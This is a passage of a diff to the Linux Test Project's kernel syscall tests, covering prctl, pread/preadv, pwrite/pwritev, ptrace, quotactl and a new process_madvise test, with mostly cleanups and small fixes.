0, 0, 0, 0)); + TEST(prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_CLEAR_ALL, 0, 0, 0)); if (TST_RET == 0) { tst_res(TINFO, "kernel supports PR_CAP_AMBIENT"); return; diff --git a/testcases/kernel/syscalls/prctl/prctl08.c b/testcases/kernel/syscalls/prctl/prctl08.c index 9a1b34c1..f090623b 100755 --- a/testcases/kernel/syscalls/prctl/prctl08.c +++ b/testcases/kernel/syscalls/prctl/prctl08.c @@ -2,19 +2,27 @@ /* * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved. * Author: Yang Xu + */ + +/*\ + * [Description] * * Test PR_GET_TIMERSLACK and PR_SET_TIMERSLACK of prctl(2). - * 1)Each thread has two associated timer slack values: a "default" + * + * - Each thread has two associated timer slack values: a "default" * value, and a "current" value. PR_SET_TIMERSLACK sets the "current" * timer slack value for the calling thread. - * 2)When a new thread is created, the two timer slack values are made + * + * - When a new thread is created, the two timer slack values are made * the same as the "current" value of the creating thread. - * 3)The maximum timer slack value is ULONG_MAX. On 32bit machines, it + * + * - The maximum timer slack value is ULONG_MAX. On 32bit machines, it * is a valid value(about 4s). On 64bit machines, it is about 500 years * and no person will set this over 4s. prctl return value is int, so * we test themaximum value is INT_MAX. - * 4)we also check current value via /proc/self/timerslack_ns if it is - * supported. + * + * - we also check current value via /proc/self/timerslack_ns if it is + * supported. */ #include diff --git a/testcases/kernel/syscalls/prctl/prctl09.c b/testcases/kernel/syscalls/prctl/prctl09.c index 07ce5706..c0696fcd 100755 --- a/testcases/kernel/syscalls/prctl/prctl09.c +++ b/testcases/kernel/syscalls/prctl/prctl09.c @@ -4,9 +4,10 @@ * Author: Yang Xu */ -/* - * Test Description: - * This is a timer sample test that timer slack is 200us. +/*\ + * [Description] + * + * This is a timer sample test that timer slack is 200us. */ #include @@ -14,7 +15,7 @@ #include "lapi/prctl.h" #include "tst_timer_test.h" -int sample_fn(int clk_id, long long usec) +static int sample_fn(int clk_id, long long usec) { struct timespec t = tst_timespec_from_us(usec); diff --git a/testcases/kernel/syscalls/prctl/prctl10.c b/testcases/kernel/syscalls/prctl/prctl10.c new file mode 100644 index 00000000..b77268c0 --- /dev/null +++ b/testcases/kernel/syscalls/prctl/prctl10.c @@ -0,0 +1,111 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 FUJITSU LIMITED. All rights reserved. + * Author: Yang Xu + */ + +/*\ + * [Description] + * + * Basic test to test behaviour of PR_GET_TSC and PR_SET_TSC. + * + * Set the state of the flag determining whether the timestamp counter can + * be read by the process. + * + * - Pass PR_TSC_ENABLE to arg2 to allow it to be read. + * - Pass PR_TSC_SIGSEGV to arg2 to generate a SIGSEGV when read. + */ + +#include +#include +#include +#include +#include "tst_test.h" +#include "lapi/prctl.h" + +#define TCASE_ENTRY(tsc_read_stat) { .name = #tsc_read_stat, .read_stat = tsc_read_stat} + +static const char * const tsc_read_stat_names[] = { + [0] = "[not set]", + [PR_TSC_ENABLE] = "PR_TSC_ENABLE", + [PR_TSC_SIGSEGV] = "PR_TSC_SIGSEGV", +}; + +static struct tcase { + char *name; + int read_stat; +} tcases[] = { + TCASE_ENTRY(PR_TSC_ENABLE), + TCASE_ENTRY(PR_TSC_SIGSEGV) +}; + +static uint64_t rdtsc(void) +{ + uint32_t lo = 0, hi = 0; + +#if (defined(__x86_64__) || defined(__i386__)) + /* We cannot use "=A", since this would use %rax on x86_64 */ + __asm__ __volatile__ ("rdtsc" : "=a" (lo), "=d" (hi)); +#endif + + return (uint64_t)hi << 32 | lo; +} + + +static int expected_status(int status, int exp_status) +{ + if (!exp_status && WIFEXITED(status)) + return 0; + + if (exp_status && WIFSIGNALED(status) && WTERMSIG(status) == exp_status) + return 0; + + return 1; +} + +static void verify_prctl(unsigned int n) +{ + struct tcase *tc = &tcases[n]; + unsigned long long time1, time2; + int tsc_val = 0, pid, status; + + pid = SAFE_FORK(); + if (!pid) { + TST_EXP_PASS_SILENT(prctl(PR_SET_TSC, tc->read_stat)); + TST_EXP_PASS_SILENT(prctl(PR_GET_TSC, &tsc_val)); + if (tsc_val == tc->read_stat) + tst_res(TPASS, "current state is %s(%d)", + tc->name, tc->read_stat); + else + tst_res(TFAIL, "current state is %s(%d), expect %s(%d)", + tsc_read_stat_names[tsc_val], + tsc_val, tc->name, tc->read_stat); + + time1 = rdtsc(); + time2 = rdtsc(); + if (time2 > time1) + tst_res(TPASS, "rdtsc works correctly, %lld ->%lld", + time1, time2); + else + tst_res(TFAIL, "rdtsc works incorrectly, %lld ->%lld", + time1, time2); + exit(0); + } + SAFE_WAITPID(pid, &status, 0); + + if (expected_status(status, tc->read_stat == PR_TSC_SIGSEGV ? SIGSEGV : 0)) + tst_res(TFAIL, "Test %s failed", tc->name); + else + tst_res(TPASS, "Test %s succeeded", tc->name); +} + +static struct tst_test test = { + .forks_child = 1, + .test = verify_prctl, + .tcnt = ARRAY_SIZE(tcases), + .supported_archs = (const char *const []) { + "x86", + "x86_64", + NULL + }, +}; diff --git a/testcases/kernel/syscalls/pread/pread02.c b/testcases/kernel/syscalls/pread/pread02.c index de2a81ff..04c7d037 100755 --- a/testcases/kernel/syscalls/pread/pread02.c +++ b/testcases/kernel/syscalls/pread/pread02.c @@ -39,16 +39,16 @@ struct test_case_t { static void verify_pread(unsigned int n) { struct test_case_t *tc = &tcases[n]; - char buf; + char buf[K1]; TST_EXP_FAIL2(pread(*tc->fd, &buf, tc->nb, tc->offst), tc->exp_errno, - "pread(%d, %zu, %ld) %s", *tc->fd, tc->nb, tc->offst, tc->desc); + "pread(%d, %zu, %lld) %s", *tc->fd, tc->nb, (long long)tc->offst, tc->desc); } static void setup(void) { SAFE_PIPE(pipe_fd); - SAFE_WRITE(1, pipe_fd[1], "x", 1); + SAFE_WRITE(SAFE_WRITE_ALL, pipe_fd[1], "x", 1); fd = SAFE_OPEN(PREAD_TEMPFILE, O_RDWR | O_CREAT, 0666); diff --git a/testcases/kernel/syscalls/preadv/preadv01.c b/testcases/kernel/syscalls/preadv/preadv01.c index 95431bc6..62f9296f 100755 --- a/testcases/kernel/syscalls/preadv/preadv01.c +++ b/testcases/kernel/syscalls/preadv/preadv01.c @@ -88,10 +88,10 @@ void setup(void) fd = SAFE_OPEN("file", O_RDWR | O_CREAT, 0644); memset(buf, 'a', sizeof(buf)); - SAFE_WRITE(1, fd, buf, sizeof(buf)); + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, sizeof(buf)); memset(buf, 'b', sizeof(buf)); - SAFE_WRITE(1, fd, buf, sizeof(buf)); + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, sizeof(buf)); } void cleanup(void) @@ -105,7 +105,6 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test = verify_preadv, - .min_kver = "2.6.30", .needs_tmpdir = 1, .bufs = (struct tst_buffers []) { {&rd_iovec, .iov_sizes = (int[]){CHUNK, 0, -1}}, diff --git a/testcases/kernel/syscalls/preadv/preadv02.c b/testcases/kernel/syscalls/preadv/preadv02.c index 12d93da4..500059e4 100755 --- a/testcases/kernel/syscalls/preadv/preadv02.c +++ b/testcases/kernel/syscalls/preadv/preadv02.c @@ -126,6 +126,5 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test = verify_preadv, - .min_kver = "2.6.30", .needs_tmpdir = 1, }; diff --git a/testcases/kernel/syscalls/preadv/preadv03.c b/testcases/kernel/syscalls/preadv/preadv03.c index 59c3b84f..d4595dda 100755 --- a/testcases/kernel/syscalls/preadv/preadv03.c +++ b/testcases/kernel/syscalls/preadv/preadv03.c @@ -108,10 +108,10 @@ static void setup(void) pop_buf = SAFE_MEMALIGN(blksz, blksz); memset(pop_buf, 0x61, blksz); - SAFE_WRITE(1, fd, pop_buf, blksz); + SAFE_WRITE(SAFE_WRITE_ALL, fd, pop_buf, blksz); memset(pop_buf, 0x62, blksz); - SAFE_WRITE(1, fd, pop_buf, blksz); + SAFE_WRITE(SAFE_WRITE_ALL, fd, pop_buf, blksz); rd_iovec[0].iov_base = SAFE_MEMALIGN(blksz, blksz); rd_iovec[0].iov_len = blksz; @@ -131,7 +131,6 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test = verify_direct_preadv, - .min_kver = "2.6.30", .mntpoint = MNTPOINT, .mount_device = 1, .all_filesystems = 1, diff --git a/testcases/kernel/syscalls/preadv2/preadv201.c b/testcases/kernel/syscalls/preadv2/preadv201.c index 91e2b988..11097729 100755 --- a/testcases/kernel/syscalls/preadv2/preadv201.c +++ b/testcases/kernel/syscalls/preadv2/preadv201.c @@ -98,10 +98,10 @@ static void setup(void) fd = SAFE_OPEN("file", O_RDWR | O_CREAT, 0644); memset(buf, 'a', sizeof(buf)); - SAFE_WRITE(1, fd, buf, sizeof(buf)); + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, sizeof(buf)); memset(buf, 'b', sizeof(buf)); - SAFE_WRITE(1, fd, buf, sizeof(buf)); + SAFE_WRITE(SAFE_WRITE_ALL, fd, buf, sizeof(buf)); } static void cleanup(void) diff --git a/testcases/kernel/syscalls/preadv2/preadv203.c b/testcases/kernel/syscalls/preadv2/preadv203.c index 01622ad1..c87deb67 100755 --- a/testcases/kernel/syscalls/preadv2/preadv203.c +++ b/testcases/kernel/syscalls/preadv2/preadv203.c @@ -159,7 +159,7 @@ static void *writer_thread(void *unused) while (!stop) { int fd = fds[random() % FILES]; - for (j = 0; j < CHUNKS; j++) { + for (j = 0; j < CHUNKS && !stop; j++) { memset(buf, '0' + j, sizeof(buf)); off_t off = CHUNK_SZ * j; @@ -199,7 +199,6 @@ static void *cache_dropper(void *unused) static void verify_preadv2(void) { pthread_t reader, dropper, writer; - unsigned int max_runtime = 600; void *eagains; stop = 0; @@ -210,7 +209,7 @@ static void verify_preadv2(void) SAFE_PTHREAD_CREATE(&reader, NULL, nowait_reader, NULL); SAFE_PTHREAD_CREATE(&writer, NULL, writer_thread, NULL); - while (!stop && max_runtime-- > 0) + while (!stop && tst_remaining_runtime()) usleep(100000); stop = 1; @@ -255,7 +254,7 @@ static void setup(void) for (j = 0; j < CHUNKS; j++) { memset(buf, '0' + j, sizeof(buf)); - SAFE_WRITE(1, fds[i], buf, sizeof(buf)); + SAFE_WRITE(SAFE_WRITE_RETRY, fds[i], buf, sizeof(buf)); } } } @@ -279,5 +278,6 @@ static struct tst_test test = { .mntpoint = MNTPOINT, .mount_device = 1, .all_filesystems = 1, + .max_runtime = 60, .needs_root = 1, }; diff --git a/testcases/kernel/syscalls/process_madvise/.gitignore b/testcases/kernel/syscalls/process_madvise/.gitignore new file mode 100644 index 00000000..93d2640f --- /dev/null +++ b/testcases/kernel/syscalls/process_madvise/.gitignore @@ -0,0 +1 @@ +/process_madvise01 diff --git a/testcases/kernel/syscalls/process_madvise/Makefile b/testcases/kernel/syscalls/process_madvise/Makefile new file mode 100644 index 00000000..ad5b6606 --- /dev/null +++ b/testcases/kernel/syscalls/process_madvise/Makefile @@ -0,0 +1,7 @@ +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (C) 2023 Linux Test Project, Inc. + +top_srcdir ?= ../../../.. + +include $(top_srcdir)/include/mk/testcases.mk +include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/syscalls/process_madvise/process_madvise.h b/testcases/kernel/syscalls/process_madvise/process_madvise.h new file mode 100644 index 00000000..c4570e53 --- /dev/null +++ b/testcases/kernel/syscalls/process_madvise/process_madvise.h @@ -0,0 +1,101 @@ +/* SPDX-License-Identifier: GPL-2.0-or-later */ +/* + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +#ifndef PROCESS_MADVISE_H__ +#define PROCESS_MADVISE_H__ + +#include +#include +#include +#include +#include "tst_safe_stdio.h" + +struct addr_mapping { + int size; + int rss; + int pss; + int shared_clean; + int shared_dirty; + int private_clean; + int private_dirty; + int referenced; + int anonymous; + int anon_huge_pages; + int shmem_huge_pages; + int shmem_pmd_mapped; + int swap; + int kernel_page_size; + int mmu_page_size; + int locked; + int protection_key; +}; + +static inline void read_address_mapping(unsigned long address, struct addr_mapping *mapping) +{ + FILE *f; + int found = 0; + char label[BUFSIZ]; + char line[BUFSIZ]; + char smaps[BUFSIZ]; + char ptr_str[BUFSIZ]; + int value; + + snprintf(smaps, BUFSIZ, "/proc/%i/smaps", getpid()); + snprintf(ptr_str, BUFSIZ, "%lx", address); + + f = SAFE_FOPEN(smaps, "r"); + + while (fgets(line, BUFSIZ, f) != NULL) { + if (strncmp(ptr_str, line, strlen(ptr_str)) == 0) + found = 1; + + if (!found) + continue; + + if (found && strcmp(line, "VmFlags") >= 0) + break; + + if (sscanf(line, "%31[^:]: %d", label, &value) > 0) { + if (strcmp(label, "Size") == 0) + mapping->size = value; + else if (strcmp(label, "Rss") == 0) + mapping->rss = value; + else if (strcmp(label, "Pss") == 0) + mapping->pss = value; + else if (strcmp(label, "Shared_Clean") == 0) + mapping->shared_clean = value; + else if (strcmp(label, "Shared_Dirty") == 0) + mapping->shared_dirty = value; + else if (strcmp(label, "Private_Clean") == 0) + mapping->private_clean = value; + else if (strcmp(label, "Private_Dirty") == 0) + mapping->private_dirty = value; + else if (strcmp(label, "Referenced") == 0) + mapping->referenced = value; + else if (strcmp(label, "Anonymous") == 0) + mapping->anonymous = value; + else if (strcmp(label, "AnonHugePages") == 0) + mapping->anon_huge_pages = value; + else if (strcmp(label, "ShmemHugePages") == 0) + mapping->shmem_huge_pages = value; + else if (strcmp(label, "ShmemPmdMapped") == 0) + mapping->shmem_pmd_mapped = value; + else if (strcmp(label, "Swap") == 0) + mapping->swap = value; + else if (strcmp(label, "KernelPageSize") == 0) + mapping->kernel_page_size = value; + else if (strcmp(label, "MMUPageSize") == 0) + mapping->mmu_page_size = value; + else if (strcmp(label, "Locked") == 0) + mapping->locked = value; + else if (strcmp(label, "ProtectionKey") == 0) + mapping->protection_key = value; + } + } + + SAFE_FCLOSE(f); +} + +#endif diff --git a/testcases/kernel/syscalls/process_madvise/process_madvise01.c b/testcases/kernel/syscalls/process_madvise/process_madvise01.c new file mode 100644 index 00000000..322b4cf6 --- /dev/null +++ b/testcases/kernel/syscalls/process_madvise/process_madvise01.c @@ -0,0 +1,131 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Allocate anonymous memory pages inside child and reclaim it with + * MADV_PAGEOUT. Then check if memory pages have been swapped out by looking + * at smaps information. + * + * The advice might be ignored for some pages in the range when it is + * not applicable, so test passes if swap memory increases after + * reclaiming memory with MADV_PAGEOUT. + */ + +#define _GNU_SOURCE + +#include +#include "tst_test.h" +#include "lapi/mmap.h" +#include "lapi/syscalls.h" +#include "process_madvise.h" + +#define MEM_CHILD (1 * TST_MB) + +static void **data_ptr; + +static void child_alloc(void) +{ + char data[MEM_CHILD]; + struct addr_mapping map_before; + struct addr_mapping map_after; + + memset(data, 'a', MEM_CHILD); + + tst_res(TINFO, "Allocate memory: %d bytes", MEM_CHILD); + + *data_ptr = SAFE_MMAP(NULL, MEM_CHILD, + PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_ANONYMOUS, -1, 0); + + memset(*data_ptr, 'a', MEM_CHILD); + + memset(&map_before, 0, sizeof(struct addr_mapping)); + read_address_mapping((unsigned long)*data_ptr, &map_before); + + TST_CHECKPOINT_WAKE_AND_WAIT(0); + + memset(&map_after, 0, sizeof(struct addr_mapping)); + read_address_mapping((unsigned long)*data_ptr, &map_after); + + if (memcmp(*data_ptr, data, MEM_CHILD) != 0) { + tst_res(TFAIL, "Dirty memory after reclaiming it"); + return; + } + + SAFE_MUNMAP(*data_ptr, MEM_CHILD); + *data_ptr = NULL; + + TST_EXP_EXPR(map_before.swap < map_after.swap, + "Most of the memory has been swapped out: %dkB out of %dkB", + map_after.swap - map_before.swap, + MEM_CHILD / TST_KB); +} + +static void setup(void) +{ + data_ptr = SAFE_MMAP(NULL, sizeof(void *), + PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_ANONYMOUS, -1, 0); +} + +static void cleanup(void) +{ + if (*data_ptr) + SAFE_MUNMAP(*data_ptr, MEM_CHILD); + + if (data_ptr) + SAFE_MUNMAP(data_ptr, sizeof(void *)); +} + +static void run(void) +{ + int ret; + int pidfd; + pid_t pid_alloc; + struct iovec vec; + + pid_alloc = SAFE_FORK(); + if (!pid_alloc) { + child_alloc(); + return; + } + + TST_CHECKPOINT_WAIT(0); + + tst_res(TINFO, "Reclaim memory using MADV_PAGEOUT"); + + pidfd = SAFE_PIDFD_OPEN(pid_alloc, 0); + + vec.iov_base = *data_ptr; + vec.iov_len = MEM_CHILD; + + ret = tst_syscall(__NR_process_madvise, pidfd, &vec, 1UL, + MADV_PAGEOUT, 0UL); + + if (ret == -1) + tst_brk(TBROK | TERRNO, "process_madvise failed"); + + if (ret != MEM_CHILD) + tst_brk(TBROK, "process_madvise reclaimed only %d bytes", ret); + + TST_CHECKPOINT_WAKE(0); +} + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test_all = run, + .forks_child = 1, + .min_kver = "5.10", + .needs_checkpoints = 1, + .needs_root = 1, + .min_swap_avail = MEM_CHILD / TST_KB, + .needs_kconfigs = (const char *[]) { + "CONFIG_SWAP=y", + NULL + }, +}; diff --git a/testcases/kernel/syscalls/ptrace/ptrace07.c b/testcases/kernel/syscalls/ptrace/ptrace07.c index da62cadb..362cee54 100755 --- a/testcases/kernel/syscalls/ptrace/ptrace07.c +++ b/testcases/kernel/syscalls/ptrace/ptrace07.c @@ -24,6 +24,10 @@ * know about the architecture-dependent FPU state. */ +#include "tst_test.h" + +#ifdef __x86_64__ + #include #include #include @@ -34,7 +38,8 @@ #include "config.h" #include "ptrace.h" -#include "tst_test.h" +#include "tst_safe_macros.h" +#include "lapi/cpuid.h" #ifndef PTRACE_GETREGSET # define PTRACE_GETREGSET 0x4204 @@ -48,13 +53,16 @@ # define NT_X86_XSTATE 0x202 #endif +#ifndef CPUID_LEAF_XSTATE +# define CPUID_LEAF_XSTATE 0xd +#endif + static void check_regs_loop(uint32_t initval) { const unsigned long num_iters = 1000000000; uint32_t xmm0[4] = { initval, initval, initval, initval }; int status = 1; -#ifdef __x86_64__ asm volatile(" movdqu %0, %%xmm0\n" " mov %0, %%rbx\n" "1: dec %2\n" @@ -68,7 +76,6 @@ static void check_regs_loop(uint32_t initval) "3:\n" : "+m" (xmm0), "+r" (status) : "r" (num_iters) : "rax", "rbx", "xmm0"); -#endif if (status) { tst_res(TFAIL, @@ -83,11 +90,20 @@ static void do_test(void) int i; int num_cpus = tst_ncpus(); pid_t pid; - uint64_t xstate[512]; - struct iovec iov = { .iov_base = xstate, .iov_len = sizeof(xstate) }; + uint32_t eax = 0, ebx = 0, ecx = 0, edx = 0; + uint64_t *xstate; + /* + * CPUID.(EAX=0DH, ECX=0H):EBX: maximum size (bytes, from the beginning + * of the XSAVE/XRSTOR save area) required by enabled features in XCR0. + */ + __cpuid_count(CPUID_LEAF_XSTATE, ecx, eax, ebx, ecx, edx); + xstate = SAFE_MEMALIGN(64, ebx); + struct iovec iov = { .iov_base = xstate, .iov_len = ebx }; int status; bool okay; + tst_res(TINFO, "CPUID.(EAX=%u, ECX=0):EAX=%u, EBX=%u, ECX=%u, EDX=%u", + CPUID_LEAF_XSTATE, eax, ebx, ecx, edx); pid = SAFE_FORK(); if (pid == 0) { TST_CHECKPOINT_WAKE(0); @@ -102,12 +118,15 @@ static void do_test(void) sched_yield(); TEST(ptrace(PTRACE_ATTACH, pid, 0, 0)); - if (TST_RET != 0) + if (TST_RET != 0) { + free(xstate); tst_brk(TBROK | TTERRNO, "PTRACE_ATTACH failed"); + } SAFE_WAITPID(pid, NULL, 0); TEST(ptrace(PTRACE_GETREGSET, pid, NT_X86_XSTATE, &iov)); if (TST_RET != 0) { + free(xstate); if (TST_ERR == EIO) tst_brk(TCONF, "GETREGSET/SETREGSET is unsupported"); @@ -138,6 +157,7 @@ static void do_test(void) tst_res(TINFO, "PTRACE_SETREGSET with reserved bits failed with EINVAL"); } else { + free(xstate); tst_brk(TBROK | TTERRNO, "PTRACE_SETREGSET failed with unexpected error"); } @@ -152,8 +172,10 @@ static void do_test(void) * worry about potential stops after this point. */ TEST(ptrace(PTRACE_DETACH, pid, 0, 0)); - if (TST_RET != 0) + if (TST_RET != 0) { + free(xstate); tst_brk(TBROK | TTERRNO, "PTRACE_DETACH failed"); + } /* If child 'pid' crashes, only report it as info. */ SAFE_WAITPID(pid, &status, 0); @@ -173,6 +195,7 @@ static void do_test(void) } if (okay) tst_res(TPASS, "wasn't able to set invalid FPU state"); + free(xstate); } static struct tst_test test = { @@ -190,3 +213,7 @@ static struct tst_test test = { } }; + +#else +TST_TEST_TCONF("Tests an x86_64 feature"); +#endif /* if x86 */ diff --git a/testcases/kernel/syscalls/ptrace/ptrace08.c b/testcases/kernel/syscalls/ptrace/ptrace08.c index 6189c519..d17d6b41 100755 --- a/testcases/kernel/syscalls/ptrace/ptrace08.c +++ b/testcases/kernel/syscalls/ptrace/ptrace08.c @@ -55,25 +55,6 @@ static pid_t child_pid; # define KERN_ADDR_BITS 64 #endif -static int deffered_check; - -static struct tst_kern_exv kvers[] = { - {"RHEL8", "4.18.0-49"}, - {NULL, NULL}, -}; - -static void setup(void) -{ - /* - * The original fix for the kernel haven't rejected the kernel address - * right away when breakpoint was modified from userspace it was - * disabled instead and the EINVAL was returned when dr7 was written to - * enable it again. On RHEL8, it has introduced the right fix since - * 4.18.0-49. - */ - if (tst_kvercmp2(4, 19, 0, kvers) < 0) - deffered_check = 1; -} static void child_main(void) { @@ -107,9 +88,13 @@ static void ptrace_try_kern_addr(unsigned long kern_addr) (void *)offsetof(struct user, u_debugreg[0]), (void *)kern_addr)); - if (deffered_check) { - TEST(ptrace(PTRACE_POKEUSER, child_pid, - (void *)offsetof(struct user, u_debugreg[7]), (void *)1)); + if (TST_RET == -1) { + addr = ptrace(PTRACE_PEEKUSER, child_pid, + (void *)offsetof(struct user, u_debugreg[0]), NULL); + if (addr == kern_addr) { + TEST(ptrace(PTRACE_POKEUSER, child_pid, + (void *)offsetof(struct user, u_debugreg[7]), (void *)1)); + } } if (TST_RET != -1) { @@ -124,13 +109,8 @@ static void ptrace_try_kern_addr(unsigned long kern_addr) } } - addr = ptrace(PTRACE_PEEKUSER, child_pid, - (void*)offsetof(struct user, u_debugreg[0]), NULL); #endif - if (!deffered_check && addr == kern_addr) - tst_res(TFAIL, "Was able to set breakpoint on kernel addr"); - SAFE_PTRACE(PTRACE_DETACH, child_pid, NULL, NULL); SAFE_KILL(child_pid, SIGCONT); child_pid = 0; @@ -153,7 +133,6 @@ static void cleanup(void) static struct tst_test test = { .test_all = run, - .setup = setup, .cleanup = cleanup, .forks_child = 1, /* diff --git a/testcases/kernel/syscalls/pwrite/pwrite01.c b/testcases/kernel/syscalls/pwrite/pwrite01.c index c517ec20..8f7ad2fb 100755 --- a/testcases/kernel/syscalls/pwrite/pwrite01.c +++ b/testcases/kernel/syscalls/pwrite/pwrite01.c @@ -70,7 +70,7 @@ static void verify_pwrite(void) l_seek(fildes, 0, SEEK_CUR, K1 / 2); l_seek(fildes, K3, SEEK_SET, K3); - SAFE_WRITE(1, fildes, write_buf[3], K1); + SAFE_WRITE(SAFE_WRITE_ALL, fildes, write_buf[3], K1); l_seek(fildes, 0, SEEK_CUR, K4); SAFE_PWRITE(1, fildes, write_buf[1], K1, K1); diff --git a/testcases/kernel/syscalls/pwritev/pwritev01.c b/testcases/kernel/syscalls/pwritev/pwritev01.c index 1ee78385..66358f7c 100755 --- a/testcases/kernel/syscalls/pwritev/pwritev01.c +++ b/testcases/kernel/syscalls/pwritev/pwritev01.c @@ -103,6 +103,5 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test = verify_pwritev, - .min_kver = "2.6.30", .needs_tmpdir = 1, }; diff --git a/testcases/kernel/syscalls/pwritev/pwritev02.c b/testcases/kernel/syscalls/pwritev/pwritev02.c index 82792df2..0881b756 100755 --- a/testcases/kernel/syscalls/pwritev/pwritev02.c +++ b/testcases/kernel/syscalls/pwritev/pwritev02.c @@ -117,6 +117,5 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test = verify_pwritev, - .min_kver = "2.6.30", .needs_tmpdir = 1, }; diff --git a/testcases/kernel/syscalls/pwritev/pwritev03.c b/testcases/kernel/syscalls/pwritev/pwritev03.c index 91a5e3c5..8b91de33 100755 --- a/testcases/kernel/syscalls/pwritev/pwritev03.c +++ b/testcases/kernel/syscalls/pwritev/pwritev03.c @@ -130,7 +130,6 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .test = verify_direct_pwritev, - .min_kver = "2.6.30", .mntpoint = MNTPOINT, .mount_device = 1, .all_filesystems = 1, diff --git a/testcases/kernel/syscalls/quotactl/quotactl01.c b/testcases/kernel/syscalls/quotactl/quotactl01.c index 561e5030..36ec93ed 100755 --- a/testcases/kernel/syscalls/quotactl/quotactl01.c +++ b/testcases/kernel/syscalls/quotactl/quotactl01.c @@ -160,13 +160,9 @@ static void setup(void) SAFE_CMD(cmd, NULL, NULL); fmt_id = var->fmt_id; - if (access(USRPATH, F_OK) == -1) - tst_brk(TFAIL | TERRNO, "user quotafile didn't exist"); + SAFE_ACCESS(USRPATH, F_OK); - if (access(GRPPATH, F_OK) == -1) - tst_brk(TFAIL | TERRNO, "group quotafile didn't exist"); - - tst_require_quota_support(tst_device->dev, fmt_id, usrpath); + SAFE_ACCESS(GRPPATH, F_OK); TEST(quotactl(QCMD(Q_GETNEXTQUOTA, USRQUOTA), tst_device->dev, test_id, (void *) &res_ndq)); @@ -213,8 +209,8 @@ static void verify_quota(unsigned int n) static struct tst_test test = { .needs_root = 1, - .needs_kconfigs = (const char *[]) { - "CONFIG_QFMT_V2", + .needs_drivers = (const char *const []) { + "quota_v2", NULL }, .test = verify_quota, diff --git a/testcases/kernel/syscalls/quotactl/quotactl04.c b/testcases/kernel/syscalls/quotactl/quotactl04.c index 55da2827..a57e6be6 100755 --- a/testcases/kernel/syscalls/quotactl/quotactl04.c +++ b/testcases/kernel/syscalls/quotactl/quotactl04.c @@ -47,6 +47,7 @@ static struct dqinfo res_qf; static int32_t fmt_buf; static struct if_nextdqblk res_ndq; +static int getnextquota_nsup; static struct tcase { int cmd; @@ -95,36 +96,20 @@ static struct tcase { }; -static void do_mount(const char *source, const char *target, - const char *filesystemtype, unsigned long mountflags, - const void *data) -{ - TEST(mount(source, target, filesystemtype, mountflags, data)); - - if (TST_RET == -1 && TST_ERR == ESRCH) - tst_brk(TCONF, "Kernel or device does not support FS quotas"); - - if (TST_RET == -1) { - tst_brk(TBROK | TTERRNO, "mount(%s, %s, %s, %lu, %p) failed", - source, target, filesystemtype, mountflags, data); - } - - if (TST_RET) { - tst_brk(TBROK | TTERRNO, "mount(%s, %s, %s, %lu, %p) failed", - source, target, filesystemtype, mountflags, data); - } - - mount_flag = 1; -} - static void setup(void) { const char *const fs_opts[] = {"-I 256", "-O quota,project", NULL}; quotactl_info(); SAFE_MKFS(tst_device->dev, tst_device->fs_type, fs_opts, NULL); - do_mount(tst_device->dev, MNTPOINT, tst_device->fs_type, 0, NULL); + SAFE_MOUNT(tst_device->dev, MNTPOINT, tst_device->fs_type, 0, NULL); + mount_flag = 1; fd = SAFE_OPEN(MNTPOINT, O_RDONLY); + + TEST(do_quotactl(fd, QCMD(Q_GETNEXTQUOTA, PRJQUOTA), tst_device->dev, + test_id, (void *) &res_ndq)); + if (TST_ERR == EINVAL || TST_ERR == ENOSYS) + getnextquota_nsup = 1; } static void cleanup(void) @@ -145,6 +130,11 @@ static void verify_quota(unsigned int n) tst_res(TINFO, "Test #%d: %s", n, tc->tname); + if (tc->cmd == QCMD(Q_GETNEXTQUOTA, PRJQUOTA) && getnextquota_nsup) { + tst_res(TCONF, "current system doesn't support this cmd"); + return; + } + TST_EXP_PASS_SILENT(do_quotactl(fd, tc->cmd, tst_device->dev, *tc->id, tc->addr), "do_quotactl to %s", tc->des); if (!TST_PASS) @@ -162,11 +152,11 @@ static void verify_quota(unsigned int n) static struct tst_test test = { .needs_root = 1, - .needs_kconfigs = (const char *[]) { - "CONFIG_QFMT_V2", + .needs_drivers = (const char *const []) { + "quota_v2", NULL }, - .min_kver = "4.10", /* commit 689c958cbe6b (ext4: add project quota support) */ + .min_kver = "4.5", /* commit 689c958cbe6b (ext4: add project quota support) */ .test = verify_quota, .tcnt = ARRAY_SIZE(tcases), .setup = setup, diff --git a/testcases/kernel/syscalls/quotactl/quotactl06.c b/testcases/kernel/syscalls/quotactl/quotactl06.c index 4fb19826..74a098a8 100755 --- a/testcases/kernel/syscalls/quotactl/quotactl06.c +++ b/testcases/kernel/syscalls/quotactl/quotactl06.c @@ -12,22 +12,23 @@ * * - EACCES when cmd is Q_QUOTAON and addr existed but not a regular file * - ENOENT when the file specified by special or addr does not exist - * - EBUSY when cmd is Q_QUOTAON and another Q_QUOTAON had already been performed + * - EBUSY when cmd is Q_QUOTAON and another Q_QUOTAON had already been + * performed * - EFAULT when addr or special is invalid * - EINVAL when cmd or type is invalid * - ENOTBLK when special is not a block device - * - ESRCH when no disk quota is found for the indicated user and quotas have not been - * turned on for this fs + * - ESRCH when no disk quota is found for the indicated user and quotas have + * not been turned on for this fs * - ESRCH when cmd is Q_QUOTAON, but the quota format was not found - * - ESRCH when cmd is Q_GETNEXTQUOTA, but there is no ID greater than or equal to id that - * has an active quota - * - ERANGE when cmd is Q_SETQUOTA, but the specified limits are out of the range allowed - * by the quota format - * - EPERM when the caller lacked the required privilege 